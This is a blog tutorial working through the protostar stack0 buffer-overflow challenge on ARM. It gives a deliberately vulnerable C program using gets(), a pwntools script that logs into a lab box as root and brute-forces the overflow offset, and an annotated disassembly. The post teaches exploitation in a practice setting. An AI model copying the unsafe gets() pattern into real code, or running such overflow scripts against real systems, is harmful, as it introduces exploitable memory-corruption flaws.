DEV Community

loading...
Cover image for A simple ARM buffer overflow

A simple ARM buffer overflow

hextrace profile image hextrace Updated on ・3 min read

Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.

This is our vulnerable program:

#include <stdio.h>

int main() {

    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if (modified != 0)
        printf("modified: %d\n", modified);
    else
        printf("nope");
}
Enter fullscreen mode Exit fullscreen mode

The goal is to abuse the unsafe gets function to modify the modified variable.
Both buffer and modified are on the stack. A buffer overflow will overwrite the modified variable.
We can use pwntools to find the correct offset:

#!/usr/bin/env python3

from pwn import *

# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')

i = 0
while True:
    i += 1
    print('test', i)
    payload = 'A' * i
    process = socket.process('/root/protostarm/stack0/stack0')
    process.sendline(payload)
    res = process.recv().decode()
    process.close()
    if 'nope' not in res:
        print('i =', i)
        print(res)
        break

socket.close()
Enter fullscreen mode Exit fullscreen mode

After a while we have:

[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 0

[...]

test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65

[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

We successfully changed the modified variable by entering 65 A's into the buffer.

Now let's have a look at the disassembly so we can understand why it's 65:

00000538 <main>:
 538:   b580        push    {r7, lr}                ; save r7 and lr
                                                        ; r7: saved frame pointer in thumb mode
                                                        ; lr: saved instruction pointer (Link Register)
 53a:   b092        sub sp, #72 ; 0x48          ; reserve stack space
 53c:   af00        add r7, sp, #0          ; r7 = sp + 0
 53e:   2300        movs    r3, #0                  ; r3 = 0
 540:   647b        str r3, [r7, #68]   ; 0x44  ; modified = r3
 542:   1d3b        adds    r3, r7, #4              ; r3 points to buffer
 544:   4618        mov r0, r3                  ; r0 = r3
 546:   f7ff ef58   blx 3f8 <gets@plt>          ; gets(&buffer);
 54a:   6c7b        ldr r3, [r7, #68]   ; 0x44  ; r3 = modified
 54c:   2b00        cmp r3, #0                  ; modified == 0 ?
 54e:   d007        beq.n   560 <main+0x28>

 550:   6c7b        ldr r3, [r7, #68]           ; 0x44
 552:   4619        mov r1, r3                  ; r1 = modified (2nd argument)
 554:   4b07        ldr r3, [pc, #28]           ; (574 <main+0x3c>)
 556:   447b        add r3, pc
 558:   4618        mov r0, r3                  ; r0 = "modified: %d\n" (1st argument)
 55a:   f7ff ef48   blx 3ec <printf@plt>        ; printf("modified: %d\n", modified);

 55e:   e004        b.n 56a <main+0x32>

 560:   4b05        ldr r3, [pc, #20]           ; (578 <main+0x40>)
 562:   447b        add r3, pc
 564:   4618        mov r0, r3                  ; r0 = r3 (load first arg)
 566:   f7ff ef42   blx 3ec <printf@plt>        ; printf("nope");

 56a:   2300        movs    r3, #0                  ; init r3
 56c:   4618        mov r0, r3                  ; r0 = r3
 56e:   3748        adds    r7, #72 ; 0x48          ; restore stack space
 570:   46bd        mov sp, r7                  ; restore caller stack
 572:   bd80        pop {r7, pc}                ; restore sp/pc
 574:   00000072    andeq   r0, r0, r2, ror r0
 578:   00000076    andeq   r0, r0, r6, ror r0
Enter fullscreen mode Exit fullscreen mode

Stack is 72 bytes long and organized this way:

+++
|  modified 00 |
|  modified 00 |
|  modified 00 |
|  modified 00 | 
| buffer[63]   | i = 64
|              |
|   [...]      |
|              |
| buffer[0]    | i = 1
--------
Enter fullscreen mode Exit fullscreen mode

gets appends a null terminator so it needs 65 A's to modify the variable. If we initially set modified to 1, it only needs 64 A's.

Discussion (0)

pic
Editor guide